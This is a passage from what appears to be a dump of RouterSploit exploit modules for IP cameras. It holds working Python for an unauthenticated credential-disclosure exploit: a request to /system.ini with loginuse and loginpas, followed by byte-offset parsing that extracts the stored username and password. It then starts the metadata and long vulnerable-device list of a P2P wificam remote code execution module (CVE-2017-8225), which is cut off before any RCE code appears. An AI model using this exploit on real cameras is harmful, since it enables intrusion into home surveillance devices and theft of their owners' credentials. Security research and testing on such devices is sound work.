'Wanscam Other',\n            'Wanscam TG-002',\n            'Wanscam WJ-0004',\n            'Wanscam WX-617',\n            'Wanscam Works',\n            'Wanscam XHA-120903181',\n            'Wanscam XHA-4020a2',\n            'Wanscam __PTZ',\n            'Wanscam chiOthernese',\n            'Wanscam ip',\n            'Wanscam jw0005',\n            'Wanscam jw0010',\n            'Wansview 541',\n            'Wansview 625W',\n            'Wansview MCM-627',\n            'Wansview N540w',\n            'Wansview NCB-534W',\n            'Wansview NCB-541W',\n            'Wansview NCB-541w',\n            'Wansview NCB-543W',\n            'Wansview NCB541W',\n            'Wansview NCB545W',\n            'Wansview NCL-610W',\n            'Wansview NCL610D04',\n            'Wansview NCL614W',\n            'Wansview Other',\n            'Wansview dcs543w',\n            'Wansview nc543w',\n            'Wardmay+CCTV WDM-6702AL',\n            'Watch+bot+Camera resup',\n            'WebcamXP Other',\n            'WinBook Other',\n            'WinBook T-6835',\n            'WinBook T-6835WIP',\n            'WinBook T-7838',\n            'Winic NVT-530004',\n            'Wise+Group Other',\n            'X-Price Other',\n            'X10 39A',\n            'X10 AIRSIGHT',\n            'X10 AirSight',\n            'X10 Airsight',\n            'X10 Jake',\n            'X10 Other',\n            'X10 XC-38A',\n            'X10 XX-36A',\n            'X10 XX-39A',\n            'X10 XX-56A',\n            'X10 XX-59A',\n            'X10 XX-60',\n            'X10 XX-69A',\n            'X10 XX41Ahome',\n            'XVision Other',\n            'XXCamera 53100',\n            'XXCamera 5330-E',\n            'XXCamera Other',\n            'XXCamera XXC-000723-NJFJD',\n            'XXCamera XXC-092411-DCAFC',\n            'XXCamera XXC-50100-H',\n            'XXCamera XXC-50100-T',\n            'XXCamera XXC-5030-E',\n            'XXCamera XXC-53100-T',\n            'XXCamera XXC52130',\n            'Xin+Ling Other',\n            'Yawcam Other',\n            'Zilink Other',\n            'Zmodo CMI-11123BK',\n            'Zmodo IP-900',\n            'Zmodo Other',\n            'Zodiac+Security 909',\n            'Zodiac+Security Other',\n            'Zoneway NC638MW-P',\n            'ZyXEL Other',\n            'alexim Other',\n            'alexim cam22822',\n            'alias Other',\n            'all+in+one+ Other',\n            'all+in+one+ b1',\n            'all-in-one Other',\n            'allecto DVC-150IP',\n            'apc Other',\n            'asw-006 Other',\n            'boh l',\n            'bravo Other',\n            'bush+plus BU-300WF',\n            'ccam p2p',\n            'china 8904W',\n            'china HDIPCAM',\n            'china IPCAM',\n            'china Other',\n            'china PTZCAM',\n            'china np-02',\n            'ciana+exports antani',\n            'cina Other',\n            'coolead L',\n            'coolead L610WS',\n            'dax Other',\n            'denver IPC-320',\n            'denver IPO-320',\n            'e-landing 720p',\n            'eScam QF100',\n            'ebw Other',\n            'epexis PIPCAMHD82',\n            'epexis pipcam5',\n            'esecure nvp',\n            'geeya C602',\n            'geeya P2P',\n            'geeya c801',\n            'hdcam Other',\n            'homeguard 720P',\n            'homeguard Other',\n            'homeguard Wireless',\n            'homeguard wifi',\n            'iView ID002A',\n            'iView Other',\n            'insteon 75790',\n            'insteon 75790wh',\n            'insteon High',\n            'insteon Other',\n            'insteon Wireless',\n            'iuk 5A1',\n            'ivision hdwificam',\n            'iwitness bullet',\n            'jwt Other',\n            'jyacam JYA8010',\n            'kadymay KDM-6800',\n            'kadymay KDM6702',\n            'kadymay KMD-6800',\n            'kadymay Other',\n            'kang+xun xxc5030-t',\n            'kines Other',\n            'kiocong 1601',\n            'kiocong 1602',\n            'kiocong 1609',\n            'kiocong Other',\n            'kodak 201pl',\n            'koicong 1601',\n            'l+series CAM0758',\n            'l+series CAM0760',\n            'l+series Other',\n            'l+series V100',\n            'logan n8504hh',\n            'meyetech 095475-caeca',\n            'meyetech 188091-EFBAE',\n            'meyetech Other',\n            'meyetech WirelessCam',\n            'micasaverde VistaCamSD',\n            'pipcam HD17',\n            'pni 941w',\n            'pni IP451W',\n            'pni IP541W',\n            'pni IP941W',\n            'pni IP951W',\n            'pni Other',\n            'pnp IP',\n            'pnp Other',\n            'semac Other',\n            'skylink WC-300PS',\n            'storex D-10H',\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/system.ini?loginuse&loginpas\"\n            )\n\n            print_info(\"Exploit succeeded, extracting credentials...\")\n\n            # May the lord forgive me for writing such spaghetti\n            # Find the magic sequence \"0000 0a0a 0a0a 01\"\n            magic_sequence_location = response.content.find(b'\\x00\\x00\\x0a\\x0a\\x0a\\x0a\\x01')\n            # Skip ahead by 144 bytes to the beginning of username\n            username_location = magic_sequence_location + 144\n            # Read every byte in a loop until the first '\\x00'\n            # THIS WILL NOT WORK UNDER PYTHON 3!\n            username_bytes = bytearray()\n            next_username_byte = bytes()\n            index = username_location\n            while next_username_byte != b'\\x00':\n                username_bytes.append(response.content[index])\n                next_username_byte = response.content[index + 1]\n                index = index + 1\n            username = username_bytes.decode('utf-8')\n            print_success(\"Username: \" + username)\n\n            # Same for the password\n            # Get the password's location (everything between username and password is \\x00)\n            current_byte_location = username_location + len(username_bytes)\n            null_byte = bytearray(b'\\x00')\n            current_byte = bytearray(b'\\x00')\n            while current_byte == null_byte:\n                current_byte[0] = response.content[current_byte_location].encode('utf-8')\n                current_byte_location = current_byte_location + 1\n            # I can't be bothered to debug anymore, let's just subtract 1\n            password_location = current_byte_location - 1\n            # Read every byte in a loop until the first '\\x00'\n            password_bytes = bytearray()\n            next_password_byte = bytes()\n            index = password_location\n            while next_password_byte != b'\\x00':\n                password_bytes.append(response.content[index])\n                next_password_byte = response.content[index + 1]\n                index = index + 1\n            password = password_bytes.decode('utf-8')\n            print_success(\"Password: \" + password)\n        else:\n            print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/system.ini?loginuse&loginpas\"\n        )\n\n        if response is None:\n            return False\n        if response.status_code == 200 and b'\\x00\\x00\\x0a\\x0a\\x0a\\x0a\\x01' in response.content:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/multi/P2P_wificam_rce.py",
    "content": "import time\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        'name': 'P2P wificam remote code execution',\n        'description': \"\"\"A credential disclosure in several cameras which\n        utilize the GoAhead webserver, combined with an authenticated RCE allows for\n        unauthenticated remote code execution.\"\"\",\n        'authors': (\n            'Pierre Kim <pierre.kim.sec@gmail.com>',  # CVE-2017-8225 and others\n            'zh4ck <@zh4ck>',                        # discovery of the authenticated RCE\n            'casept <davids.paskevics@gmail.com>',  # routesploit module\n        ),\n        'references': (\n            'https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html',\n            'https://jumpespjump.blogspot.com/2015/09/how-i-hacked-my-ip-camera-and-found.html'\n        ),\n        'devices': (\n            '3G+IPCam Other',\n            '3SVISION Other',\n            '3com CASA',\n            '3com Other',\n            '3xLogic Other',\n            '3xLogic Radio',\n            '4UCAM Other',\n            '4XEM Other',\n            '555 Other',\n            '7Links 3677',\n            '7Links 3677-675',\n            '7Links 3720-675',\n            '7Links 3720-919',\n            '7Links IP-Cam-in',\n            '7Links IP-Wi-Fi',\n            '7Links IPC-760HD',\n            '7Links IPC-770HD',\n            '7Links Incam',\n            '7Links Other',\n            '7Links PX-3615-675',\n            '7Links PX-3671-675',\n            '7Links PX-3720-675',\n            '7Links PX3309',\n            '7Links PX3615',\n            '7Links ipc-720',\n            '7Links px-3675',\n            '7Links px-3719-675',\n            '7Links px-3720-675',\n            'A4Tech Other',\n            'ABS Other',\n            'ADT RC8021W',\n            'AGUILERA AQUILERA',\n            'AJT AJT-019129-BBCEF',\n            'ALinking ALC',\n            'ALinking Other',\n            'ALinking dax',\n            'AMC Other',\n            'ANRAN ip180',\n            'APKLINK Other',\n            'AQUILA AV-IPE03',\n            'AQUILA AV-IPE04',\n            'AVACOM 5060',\n            'AVACOM 5980',\n            'AVACOM H5060W',\n            'AVACOM NEW',\n            'AVACOM Other',\n            'AVACOM h5060w',\n            'AVACOM h5080w',\n            'Acromedia IN-010',\n            'Acromedia Other',\n            'Advance Other',\n            'Advanced+home lc-1140',\n            'Aeoss J6358',\n            'Aetos 400w',\n            'Agasio A500W',\n            'Agasio A502W',\n            'Agasio A512',\n            'Agasio A533W',\n            'Agasio A602W',\n            'Agasio A603W',\n            'Agasio Other',\n            'AirLink Other',\n            'Airmobi HSC321',\n            'Airsight Other',\n            'Airsight X10',\n            'Airsight X34A',\n            'Airsight X36A',\n            'Airsight XC39A',\n            'Airsight XX34A',\n            'Airsight XX36A',\n            'Airsight XX40A',\n            'Airsight XX60A',\n            'Airsight x10',\n            'Airsight x10Airsight',\n            'Airsight xc36a',\n            'Airsight xc49a',\n            'Airsight xx39A',\n            'Airsight xx40a',\n            'Airsight xx49a',\n            'Airsight xx51A',\n            'Airsight xx51a',\n            'Airsight xx52a',\n            'Airsight xx59a',\n            'Airsight xx60a',\n            'Akai AK7400',\n            'Akai SP-T03WP',\n            'Alecto 150',\n            'Alecto Atheros',\n            'Alecto DVC-125IP',\n            'Alecto DVC-150-IP',\n            'Alecto DVC-1601',\n            'Alecto DVC-215IP',\n            'Alecto DVC-255-IP',\n            'Alecto dv150',\n            'Alecto dvc-150ip',\n            'Alfa 0002HD',\n            'Alfa Other',\n            'Allnet 2213',\n            'Allnet ALL2212',\n            'Allnet ALL2213',\n            'Amovision Other',\n            'Android+IP+cam IPwebcam',\n            'Anjiel ip-sd-sh13d',\n            'Apexis AH9063CW',\n            'Apexis APM-H803-WS',\n            'Apexis APM-H804-WS',\n            'Apexis APM-J011',\n            'Apexis APM-J011-Richard',\n            'Apexis APM-J011-WS',\n            'Apexis APM-J012',\n            'Apexis APM-J012-WS',\n            'Apexis APM-J0233',\n            'Apexis APM-J8015-WS',\n            'Apexis GENERIC',\n            'Apexis H',\n            'Apexis HD',\n            'Apexis J',\n            'Apexis Other',\n            'Apexis PIPCAM8',\n            'Apexis Pyle',\n            'Apexis XF-IP49',\n            'Apexis apexis',\n            'Apexis apm-',\n            'Apexis dealextreme',\n            'Aquila+Vizion Other',\n            'Area51 Other',\n            'ArmorView Other',\n            'Asagio A622W',\n            'Asagio Other',\n            'Asgari 720U',\n            'Asgari Other',\n            'Asgari PTG2',\n            'Asgari UIR-G2',\n            'Atheros ar9285',\n            'AvantGarde SUMPPLE',\n            'Axis 1054',\n            'Axis 241S',\n            'B-Qtech Other',\n            'B-Series B-1',\n            'BRAUN HD-560',\n            'BRAUN HD505',\n            'Beaulieu Other',\n            'Bionics Other',\n            'Bionics ROBOCAM',\n            'Bionics Robocam',\n            'Bionics T6892WP',\n            'Bionics t6892wp',\n            'Black+Label B2601',\n            'Bravolink Other',\n            'Breno Other',\n            'CDR+king APM-J011-WS',\n            'CDR+king Other',\n            'CDR+king SEC-015-C',\n            'CDR+king SEC-016-NE',\n            'CDR+king SEC-028-NE',\n            'CDR+king SEC-029-NE',\n            'CDR+king SEC-039-NE',\n            'CDR+king sec-016-ne',\n            'CDXX Other',\n            'CDXXcamera Any',\n            'CP+PLUS CP-EPK-HC10L1',\n            'CPTCAM Other',\n            'Camscam JWEV-372869-BCBAB',\n            'Casa Other',\n            'Cengiz Other',\n            'Chinavasion Gunnie',\n            'Chinavasion H30',\n            'Chinavasion IP611W',\n            'Chinavasion Other',\n            'Chinavasion ip609aw',\n            'Chinavasion ip611w',\n            'Cloud MV1',\n            'Cloud Other',\n            'CnM IP103',\n            'CnM Other',\n            'CnM sec-ip-cam',\n            'Compro NC150/420/500',\n            'Comtac CS2',\n            'Comtac CS9267',\n            'Conceptronic CIPCAM720PTIWL',\n            'Conceptronic cipcamptiwl',\n            'Cybernova Other',\n            'Cybernova WIP604',\n            'Cybernova WIP604MW',\n            'D-Link DCS-910',\n            'D-Link DCS-930L',\n            'D-Link L-series',\n            'D-Link Other',\n            'DB+Power 003arfu',\n            'DB+Power DBPOWER',\n            'DB+Power ERIK',\n            'DB+Power HC-WV06',\n            'DB+Power HD011P',\n            'DB+Power HD012P',\n            'DB+Power HD015P',\n            'DB+Power L-615W',\n            'DB+Power LA040',\n            'DB+Power Other',\n            'DB+Power Other2',\n            'DB+Power VA-033K',\n            'DB+Power VA0038K',\n            'DB+Power VA003K+',\n            'DB+Power VA0044_M',\n            'DB+Power VA033K',\n            'DB+Power VA033K+',\n            'DB+Power VA035K',\n            'DB+Power VA036K',\n            'DB+Power VA038',\n            'DB+Power VA038k',\n            'DB+Power VA039K',\n            'DB+Power VA039K-Test',\n            'DB+Power VA040',\n            'DB+Power VA390k',\n            'DB+Power b',\n            'DB+Power b-series',\n            'DB+Power extcams',\n            'DB+Power eye',\n            'DB+Power kiskFirstCam',\n            'DB+Power va033k',\n            'DB+Power va039k',\n            'DB+Power wifi',\n            'DBB IP607W',\n            'DEVICECLIENTQ CNB',\n            'DKSEG Other',\n            'DNT CamDoo',\n            'DVR DVR',\n            'DVS-IP-CAM Other',\n            'DVS-IP-CAM Outdoor/IR',\n            'Dagro DAGRO-003368-JLWYX',\n            'Dagro Other',\n            'Dericam H216W',\n            'Dericam H502W',\n            'Dericam M01W',\n            'Dericam M2/6/8',\n            'Dericam M502W',\n            'Dericam M601W',\n            'Dericam M801W',\n            'Dericam Other',\n            'Digix Other',\n            'Digoo BB-M2',\n            'Digoo MM==BB-M2',\n            'Digoo bb-m2',\n            'Dinon 8673',\n            'Dinon 8675',\n            'Dinon SEGEV-105',\n            'Dinon segev-103',\n            'Dome Other',\n            'Drilling+machines Other',\n            'E-Lock 1000',\n            'ENSIDIO IP102W',\n            'EOpen Open730',\n            'EST ES-IP602IW',\n            'EST IP743W',\n            'EST Other',\n            'EZCam EPK-EP10L1',\n            'EZCam EZCam',\n            'EZCam Other',\n            'EZCam PAN/TILT',\n            'EZCam Pan/Tilt',\n            'EasyCam EC-101HD',\n            'EasyCam EC-101HDSD',\n            'EasyCam EC-101SD',\n            'EasyCam EC-102',\n            'EasyCam Other',\n            'EasyN 187',\n            'EasyN 1BF',\n            'EasyN 720P',\n            'EasyN F',\n            'EasyN F-136',\n            'EasyN F-M136',\n            'EasyN F-M166',\n            'EasyN F-M181',\n            'EasyN F-M1b1',\n            'EasyN F-SERIES',\n            'EasyN F133',\n            'EasyN F2-611B',\n            'EasyN F3',\n            'EasyN F3-166',\n            'EasyN F3-176M',\n            'EasyN F3-M166',\n            'EasyN F3-SERIES',\n            'EasyN F3-Series',\n            'EasyN F3-m187',\n            'EasyN F3M187',\n            'EasyN FS-613A-M136',\n            'EasyN FS-613B',\n            'EasyN FS-613B-M166',\n            'EasyN FS-613B-MJPEG',\n            'EasyN FS613',\n            'EasyN F_M10R',\n            'EasyN H3-V10R',\n            'EasyN H6-M137h',\n            'EasyN M091',\n            'EasyN Other',\n            'EasyN est-007660-611b',\n            'EasyN est-007660333',\n            'EasyN f',\n            'EasyN f-Series',\n            'EasyN f138',\n            'EasyN f_series',\n            'EasyN fseries',\n            'EasyN kitch',\n            'EasyN s',\n            'EasySE F/B/N/I',\n            'EasySE H3',\n            'EasySE H3e',\n            'EasySE Other',\n            'Ebode IPV38W',\n            'Ebode IPV58',\n            'Ebode Other',\n            'Ego Other',\n            'Elro 901',\n            'Elro 903',\n            'Elro 903IP',\n            'Elro C7031P',\n            'Elro C703IP2',\n            'Elro C704-IP',\n            'Elro C704IP',\n            'Elro C704IP.2',\n            'Elro C704ip',\n            'Elro C803IP',\n            'Elro C903IP',\n            'Elro C903IP.2',\n            'Elro C904IP',\n            'Elro C904IP.2',\n            'Elro IP901',\n            'Elro Other',\n            'Eminent 6564',\n            'Eminent EM6220',\n            'Eminent EM6564',\n            'Eminent em6220',\n            'Esky C5900',\n            'Esky L',\n            'Esky Live',\n            'Esky c5900',\n            'Eura-Tech IC-03C3',\n            'EyeCam ICAM-608',\n            'EyeCam IP65IW',\n            'EyeCam Other',\n            'EyeCam STORAGEOPTIONS',\n            'EyeIPCam IP901W',\n            'EyeSight ES-IP607W',\n            'EyeSight ES-IP811W',\n            'EyeSight ES-IP909IW',\n            'EyeSight ES-IP935FW',\n            'EyeSight ES-IP935IW',\n            'EyeSight IP910IW',\n            'EyeSight IP915IW',\n            'EyeSight Other',\n            'EyeSight ip609IW',\n            'EyeSight ip909iw',\n            'EyeSight ip915iw',\n            'EyeSight mjpeg',\n            'EyeSpy247 Other',\n            'F-Series FSERIES',\n            'F-Series Ip',\n            'F-Series Other',\n            'F-Series ip',\n            'First+Concept Other',\n            'Focuscam F19821W',\n            'Foscam FI18904w',\n            'Foscam FI18905E',\n            'Foscam FI18905W',\n            'Foscam FI18906w',\n            'Foscam FI1890W',\n            'Foscam FI18910E',\n            'Foscam FI18910W',\n            'Foscam FI18910w',\n            'Foscam FI18916W',\n            'Foscam FI18918W',\n            'Foscam FI18919W',\n            'Foscam FI19810W',\n            'Foscam FI8094W',\n            'Foscam FI81904W',\n            'Foscam FI8601W',\n            'Foscam FI8602W',\n            'Foscam FI8606W',\n            'Foscam FI8610w',\n            'Foscam FI8903W',\n            'Foscam FI8903W_Elita',\n            'Foscam FI8904',\n            'Foscam FI8904W',\n            'Foscam FI8905E',\n            'Foscam FI8905W',\n            'Foscam FI8905w',\n            'Foscam FI8906w',\n            'Foscam FI8907W',\n            'Foscam FI8908W',\n            'Foscam FI8909W',\n            'Foscam FI890W',\n            'Foscam FI8910',\n            'Foscam FI8910E',\n            'Foscam FI8910W',\n            'Foscam FI8910W_DW',\n            'Foscam FI8910w',\n            'Foscam FI8916W',\n            'Foscam FI8918',\n            'Foscam FI89180w',\n            'Foscam FI8918E',\n            'Foscam FI8918W',\n            'Foscam FI8918w',\n            'Foscam FI8919W',\n            'Foscam FI9804W',\n            'Foscam FI9805E',\n            'Foscam FI9810',\n            'Foscam FI9810W',\n            'Foscam FI9818',\n            'Foscam FI9820w',\n            'Foscam FI9821W',\n            'Foscam FI9821w',\n            'Foscam FL8910',\n            'Foscam FS18908W',\n            'Foscam FS8910',\n            'Foscam Fi8910',\n            'Foscam Other',\n            'Foscam fI8989w',\n            'Foscam fi1890w',\n            'Foscam fl8910w',\n            'FoxCam PTZ2084-L',\n            'GIGA gb',\n            'GT+ROAD HS-006344-SPSLM',\n            'General Other',\n            'Generic All-in-one',\n            'Generic Billy',\n            'Generic DomeA-Outdoor',\n            'Generic IP',\n            'Generic Other',\n            'Gi-star+srl IP6031W',\n            'Gigaeye GB',\n            'GoAhead EC-101SD',\n            'GoAhead GoAheadWebs',\n            'GoAhead IPCAM1',\n            'GoAhead IPCAM2',\n            'GoAhead Other',\n            'GoAhead thedon',\n            'GoCam Other',\n            'Goclever EYE',\n            'Goclever EYE2',\n            'Gotake GTK-TH01B',\n            'H+264+network+DVR 720p',\n            'H+264+network+DVR Other',\n            'H.264 Other',\n            'H6837WI Other',\n            'HD+IPC Other',\n            'HD+IPC SV3C',\n            'HDIPCAM Other',\n            'Heden CAMH04IPWE',\n            'Heden CAMHED02IPW',\n            'Heden CAMHED04IP',\n            'Heden CAMHED04IPWN',\n            'Heden CAMHEDIPWP',\n            'Heden Other',\n            'Heden VisionCam',\n            'Heden visionCam',\n            'HiSilicon Other',\n            'Hikvision DS-2CD2132',\n            'Histream RTSP',\n            'HooToo F-SERIES',\n            'HooToo HOOTOO',\n            'HooToo HT-IP006',\n            'HooToo HT-IP006N',\n            'HooToo HT-IP009HDP',\n            'HooToo HT-IP206',\n            'HooToo HT-IP207F',\n            'HooToo HT-IP210HDP',\n            'HooToo HT-IP210P',\n            'HooToo HT-IP212',\n            'HooToo IP009HDP',\n            'HooToo Other',\n            'HooToo apm-h803-mpc',\n            'Hsmartlink Other',\n            'Hungtek WIFI',\n            'ICAMView Other',\n            'ICam I908W',\n            'ICam IP-1',\n            'ICam Other',\n            'ICam Other2',\n            'ICam dome',\n            'INISOFT-CAM Stan',\n            'INSTAR 4010',\n            'INVID Other',\n            'IO+Data Other',\n            'IP66 Other',\n            'IPC IPC02',\n            'IPC Other',\n            'IPC S5030-TF',\n            'IPC S5030-m',\n            'IPC SRICAM',\n            'IPCC 3XPTZ',\n            'IPCC 7210W',\n            'IPCC IPCC-7210W',\n            'IPCC x01',\n            'IPTeles Other',\n            'IPUX ip-100',\n            'ISIT Other',\n            'IZOtech Other',\n            'IZTOUCH 0009',\n            'IZTOUCH A001',\n            'IZTOUCH IZ-009',\n            'IZTOUCH LTH-A8645-c15',\n            'IZTOUCH Other',\n            'IZTOUCH Other1',\n            'IZTOUCH ap001',\n            'IeGeek Other',\n            'IeGeek ukn',\n            'Inkovideo V-104',\n            'Iprobot3 Other',\n            'JRECam JM3866W',\n            'JWcam JWEV',\n            'JWcam Other',\n            'Jaycar 3834',\n            'Jaycar 720P',\n            'Jaycar Other',\n            'Jaycar QC-3831',\n            'Jaycar QC-3832',\n            'Jaycar QC-3834',\n            'Jaycar QC-3836',\n            'Jaycar QC-3839',\n            'Jaytech IP6021W',\n            'JhempCAM Back',\n            'JhempCAM Other',\n            'KaiKong 1601',\n            'KaiKong 1602w',\n            'KaiKong Other',\n            'KaiKong SIP',\n            'KaiKong SIP1602',\n            'KaiKong SIP1602W',\n            'KaiKong sip',\n            'KaiKong sip1602w',\n            'Kenton gjc02',\n            'Kinson C720PWIP',\n            'Klok Other',\n            'Knewmart KW01B',\n            'Knewmart KW02B',\n            'Kogan KAIPC01BLKA',\n            'Kogan KAIPCO1BLKA',\n            'Kogan Other',\n            'Kogan encoder',\n            'Kogan kaipc01blkb',\n            'Kompernass IUK',\n            'Koolertron Other',\n            'Koolertron PnP',\n            'Koolertron SP-SHEX21-SL',\n            'LC+security Other',\n            'LW lw-h264tf',\n            'LYD H1385H',\n            'Lager Other',\n            'Leadtek C351',\n            'LevelOne 1010/2010',\n            'Libor Other',\n            'LifeTech MyLifeTech',\n            'LifeTech Other',\n            'LifeTech dd',\n            'Lilly Other',\n            'Linq Other',\n            'Lloyds 1107',\n            'Loftek CXS',\n            'Loftek Nexus',\n            'Loftek Other',\n            'Loftek SPECTOR',\n            'Loftek Sendinel',\n            'Loftek Sentinel',\n            'LogiLink WC0030A',\n            'LogiLink wc0044',\n            'Logitech C920',\n            'MCL 610',\n            'MJPEG Other',\n            'Maginon 100',\n            'Maginon 10AC',\n            'Maginon 20C',\n            'Maginon IP-20c',\n            'Maginon IPC',\n            'Maginon IPC-1',\n            'Maginon IPC-10',\n            'Maginon IPC-100',\n            'Maginon IPC-100AC',\n            'Maginon IPC-10AC',\n            'Maginon IPC-2',\n            'Maginon IPC-20',\n            'Maginon IPC20C',\n            'Maginon IPC_1A',\n            'Maginon Other',\n            'Maginon SUPRA',\n            'Maginon Supra',\n            'Maginon ipc',\n            'Maginon ipc-1a',\n            'Maginon ipc100a',\n            'Maginon ipx',\n            'Maginon w2',\n            'Marmitek GM-8126',\n            'Maygion IP',\n            'Maygion OTHER2',\n            'Maygion Other',\n            'Maygion V3',\n            'Maygion black',\n            'Mediatech mt4050',\n            'Medisana SmartBabyMonitor',\n            'Merlin IP',\n            'Merlin Other',\n            'Merlin vstc',\n            'Messoa Other',\n            'Mingyoushi S6203Y-WR',\n            'Momentum 2002',\n            'Momentum MO-CAM',\n            'NEXCOM S-CAM',\n            'NIP NIP-004500-KMTLU',\n            'NIP NIP-075007-UPHTF',\n            'NIP NIP-11BGPW',\n            'NIP NIP-14',\n            'NTSE Other',\n            'Neewer Other',\n            'Neewer V-100',\n            'Neo+CoolCam NIP',\n            'Neo+CoolCam NIP-02(OAM)',\n            'Neo+CoolCam NIP-06',\n            'Neo+CoolCam NIP-066777-BWESL',\n            'Neo+CoolCam NIP-102428-DFBEF',\n            'Neo+CoolCam NIP-H20(OZX)',\n            'Neo+CoolCam OBJ-007260-LYLDU',\n            'Neo+CoolCam Other',\n            'Neo+CoolCam neo',\n            'Neo+CoolCam nip-11',\n            'Neo+CoolCam nip-20',\n            'Ness Other',\n            'NetView Other',\n            'Netcam Dual-HD',\n            'Netcam HSL-232245-CWXES',\n            'Netcam OUVIS',\n            'Netcam Other',\n            'Netware Other',\n            'Nexxt+Solution Xpy',\n            'Nixzen Other',\n            'NorthQ NQ-9006',\n            'Office+One CM-I11123BK',\n            'Office+One IP-900',\n            'Office+One IP-99',\n            'Office+One Other',\n            'Office+One SC-10IP',\n            'Office+One ip-900',\n            'Office+One ip900',\n            'Opexia OPCS',\n            'Optica+Video FI-8903W',\n            'Optica+Video FI-8918W',\n            'Optica+Video Other',\n            'Otto 4eye',\n            'Overmax CamSpot',\n            'Overmax Camspot',\n            'OwlCam CP-6M201W',\n            'P2p wificam',\n            'PCS Other',\n            'Panasonic BL-C131A',\n            'PeopleFu IPC-674',\n            'PeopleFu IPCAM1',\n            'PeopleFu IPCAM2',\n            'PeopleFu IPCAM3',\n            'PeopleFu IPCAM5',\n            'Pixpo 1Z074A2A0301627785',\n            'Pixpo PIX006428BFYZY',\n            'Pixpo PIX009491MLJYM',\n            'Pixpo PIX009495HURFE',\n            'Pixpo PIX010584DFACE',\n            'Plaisio IP',\n            'Planex Other',\n            'Planex PLANEX',\n            'Polariod P351S',\n            'Polaroid IP-100',\n            'Polaroid IP-101W',\n            'Polaroid IP-200B',\n            'Polaroid IP-201B',\n            'Polaroid IP-350',\n            'Polaroid IP-351S',\n            'Polaroid IP-360S',\n            'Polaroid IP-810W',\n            'Polaroid IP-810WZ',\n            'Polaroid Other',\n            'Polaroid POLIP101W',\n            'Polaroid POLIP201B',\n            'Polaroid POLIP201W',\n            'Polaroid POLIP351S',\n            'Polaroid POLIP35i5',\n            'PowerLead Caue',\n            'PowerLead PC012',\n            'ProveCam IP2521',\n            'Provision 717',\n            'Provision F-717',\n            'Provision F-737',\n            'Provision PT-737',\n            'Provision WP-711',\n            'Provision WP-717P',\n            'Pyle HD',\n            'Pyle HD22',\n            'Pyle HD46',\n            'Pyle Mine',\n            'Pyle PIPCAM15',\n            'Pyle Pipcam12',\n            'Pyle cam5',\n            'Pyle pipcam25',\n            'Pyle pipcam5',\n            'Q-nest QN-100S',\n            'Q-nest qn-100s',\n            'Queback 720p',\n            'ROCAM NC-400',\n            'ROCAM NC-500',\n            'ROCAM NC300',\n            'ROCAM NC300-1',\n            'ROHS IP',\n            'ROHS none',\n            'RTX 06R',\n            'RTX DVS',\n            'RTX IP-06R',\n            'RTX IP-26H',\n            'RTX Other',\n            'Rollei safetycam-10hd',\n            'SES Other',\n            'SKJM Other',\n            'SST SST-CNS-BUI18',\n            'SVB+International SIP-018262-RYERR',\n            'SafeHome 278042',\n            'SafeHome 616-W',\n            'SafeHome IP601W-hd',\n            'SafeHome Other',\n            'SafeHome VGA',\n            'SafeHome iprobot',\n            'Samsung Other',\n            'Santec-Video Other',\n            'Sarotech IPCAM-1000',\n            'Sarotech ip300',\n            'Scricam 004',\n            'Scricam 192.168.1.7',\n            'Scricam AP-004',\n            'Scricam AP-009',\n            'Scricam AP0006',\n            'Scricam AP006',\n            'Secam+CCTV IPCAM',\n            'Secam+CCTV Other',\n            'Seculink 10709',\n            'Seculink Other',\n            'Secur+Eye xxc5330',\n            'Seisa JK-H616WS',\n            'Senao PTZ-01H',\n            'Sequrecam Other',\n            'Sequrecam PNP-125',\n            'Sercomm Other',\n            'Shenwhen+Neo+Electronic+Co NC-541',\n            'Shenwhen+Neo+Electronic+Co Other',\n            'Shenwhen+Neo+Electronic+Co X-5000B',\n            'Shenzhen 720P',\n            'Shixin+China IP-129HW',\n            'Siepem IPC',\n            'Siepem S5001Y-BW',\n            'Siepem S6203y',\n            'Siepem S6211Y-WR',\n            'Simi+IP+Camera+Viewer Other',\n            'Sineoji Other',\n            'Sineoji PT-315V',\n            'Sineoji PT-3215P',\n            'Sineoji PT-325IP',\n            'Sinocam Other',\n            'Sky+Genious Genious',\n            'Skytronic IP',\n            'Skytronic IP99',\n            'Skytronic Other',\n            'Skytronic WiFi',\n            'Skytronic dome',\n            'SmartEye Other',\n            'SmartWares C723IP',\n            'SmartWares c724ip',\n            'SmartWares c923ip',\n            'SmartWares c924ip',\n            'Solwise SEC-1002W-IR',\n            'Spy+Cameras WF-100PCX',\n            'Spy+Cameras WF-110V',\n            'Sricam 0001',\n            'Sricam 004',\n            'Sricam A0009',\n            'Sricam A001',\n            'Sricam AP-001',\n            'Sricam AP-003',\n            'Sricam AP-004',\n            'Sricam AP-005',\n            'Sricam AP-006',\n            'Sricam AP-009',\n            'Sricam AP-012',\n            'Sricam AP-CAM',\n            'Sricam AP0009',\n            'Sricam AP002',\n            'Sricam AP995',\n            'Sricam Cam1',\n            'Sricam Front',\n            'Sricam Home',\n            'Sricam Other',\n            'Sricam SP005',\n            'Sricam SP012',\n            'Sricam SP013',\n            'Sricam SP015',\n            'Sricam SRICAM',\n            'Sricam SRICAM1',\n            'Sricam aj-c2wa-c118',\n            'Sricam ap',\n            'Sricam ap006',\n            'Sricam ap1',\n            'Sricam h.264',\n            'Sricam sp013',\n            'Sricctv A-0006',\n            'Sricctv A-009',\n            'Sricctv AJ-006',\n            'Sricctv AP-0001',\n            'Sricctv AP-0005',\n            'Sricctv AP-0009',\n            'Sricctv AP-001',\n            'Sricctv AP-002',\n            'Sricctv AP-003',\n            'Sricctv AP-004',\n            'Sricctv AP-004AF',\n            'Sricctv AP-005',\n            'Sricctv AP-006',\n            'Sricctv AP-007',\n            'Sricctv AP-008',\n            'Sricctv AP-009',\n            'Sricctv AP-011',\n            'Sricctv AP-014',\n            'Sricctv H-264',\n            'Sricctv Other',\n            'Sricctv P2P-BLACK',\n            'Sricctv P2P-Black',\n            'Sricctv SP-007',\n            'Sricctv 